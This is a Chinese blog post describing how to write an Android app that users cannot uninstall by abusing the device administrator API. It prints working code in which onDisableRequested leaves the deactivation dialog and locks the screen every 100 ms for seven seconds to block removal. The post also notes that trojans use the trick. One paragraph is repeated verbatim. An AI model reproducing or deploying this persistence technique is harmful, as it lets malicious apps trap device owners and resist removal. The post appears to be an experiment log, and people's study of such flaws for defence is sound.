编写一个无法卸载的App – 设备管理器漏洞

最新推荐文章于 2022-04-09 17:09:08 发布

xyxjn

最新推荐文章于 2022-04-09 17:09:08 发布

阅读量5k

点赞数

分类专栏： android

android 专栏收录该内容

33 篇文章 0 订阅

订阅专栏

https://mp.weixin.qq.com/s?__biz=MzA3MDMyMjkzNg==&mid=211618188&idx=1&sn=4b08a3058b7d4861b5ade7024a02266e&scene=2&srcid=0915Dfg09vdhx4XRzLEM7ket&from=timeline&isappinstalled=0&key=dffc561732c22651f679f6aa86fccd3d6cee744a7f35eeff644d3c0dd5156a63a0352478fd660b3ca2d929afb9fbda39&ascene=2&uin=MTA5MzM0OTEwMA%3D%3D&devicetype=iPhone+OS7.1.2&version=16020313&nettype=WIFI&fontScale=100&pass_ticket=xFospPMFMbdCekSQHNAXb%2FA%2BuZKk60HwzxQ5181P7r2nL03CCMlcYCzuFd4%2BkrKR

前两天某朋友发现手机有个app无法卸载，后知其因设备管理器激活导致，遂去尝试取消，但却在取消那刻卡机。反复折腾之后，只能重刷。后来他发了一篇关于设备管理器bug的文章给我，便有了如下一番折腾。

尝鲜

文章《Android 学习设备管理器勾选后不能再取消了》（作者：带个回家）大致意思是：

继承 DeviceAdminReceiver 重写 onDisableRequested(Context context, Intent intent) 即可达到目的。

@Override

public CharSequence onDisableRequested(Context context, Intent intent) {

// 这里处理不可编辑设备。

Intent intent2 = new Intent(context, NoticeSetting.class);

intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

context.startActivity(intent2);

context.stopService(intent);// 是否可以停止

return ""; // "这是一个可选的消息，警告有关禁止用户的请求";

}

在此之前，我并没有接触过设备管理器的功能，参考了 API Guides 的 Device Administration ，以及 DeviceAdminReceiver 的 API 后，试着写了一个跟上述文章一样的 app，4.4 & 5.0均测试失败，可以正常取消激活。

再战

搜索，找到《Android设备管理器漏洞》（作者：Jack_Jia）另一篇讲解此问题的文章。文章提到：

如果想在设备管理器列表中”隐身“，只要不注册 android.app.action.DEVICE_ADMIN_ENABLED 广播就行。

也就是不给 intent-filter 标签设置该 action。

<receiver

android:name=".MyDeviceReceiver"

android:description="@string/receiver_description"

android:label="@string/app_name"

android:permission="android.permission.BIND_DEVICE_ADMIN">

<meta-data

android:name="android.app.device_admin"

android:resource="@xml/device_manager_policies" />

<intent-filter>

</intent-filter>

</receiver>

4.4 & 5.0测试失败，设备管理器无法激活（代码激活不会弹出，设备管理器又找不到）。

三战

继续搜索，发现百度安全实验室一篇文章《Android设备管理器漏洞2》。文章提到：

已激活设备管理器权限的手机木马利用该漏洞，可以在设置程序的设备管理器列表中隐藏，这样用户就无法通过正常途径取消该手机木马的设备管理器权限，从而达到无法卸载的目的。Android4.2版本以上系统已经修复该漏洞。

…

通过调用stopAppSwitch()方法，系统保证在进入取消设备管理器界面后，5秒内不会进行Activity的切换。

…

onDisableRequested函数满足以下条件即可：

1、返回内容不能为空，这样才可以使设备管理器弹出取消激活设备管理器警示信息 Dialog。

2、通过Activity切换的方式使设备管理器弹出的警示信息Dialog消失。使用户无法操作Dialog。

如果做到以上两点，程序即可成功阻止用户取消激活设备管理器操作。

故，只要在 onDisableRequested 方法中，让用户在取消激活时5s内无法操作界面，然后采取 Activity 切换的方法即可绕开取消激活的步骤。这里为了测试直观并且试一试设备管理器的 api，采用了百度提供的连续锁屏法。测试环境为5.0。

故，只要在 onDisableRequested 方法中，让用户在取消激活时5s内无法操作界面，然后采取 Activity 切换的方法即可绕开取消激活的步骤。这里为了测试直观并且试一试设备管理器的 api，采用了百度提供的连续锁屏法。测试环境为5.0。

public CharSequence onDisableRequested(Context context, Intent intent) {

//跳离当前询问是否取消激活的 dialog

Intent outOfDialog = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");

outOfDialog.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

context.startActivity(outOfDialog);

//调用设备管理器本身的功能，每 100ms 锁屏一次，用户即便解锁也会立即被锁，直至 7s 后

final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);

dpm.lockNow();

new Thread(new Runnable() {

@Override

public void run() {

int i = 0;

while (i < 70) {

dpm.lockNow();

try {

Thread.sleep(100);

i++;

} catch (InterruptedException e) {

e.printStackTrace();

}

}

}

}).start();

return "";

}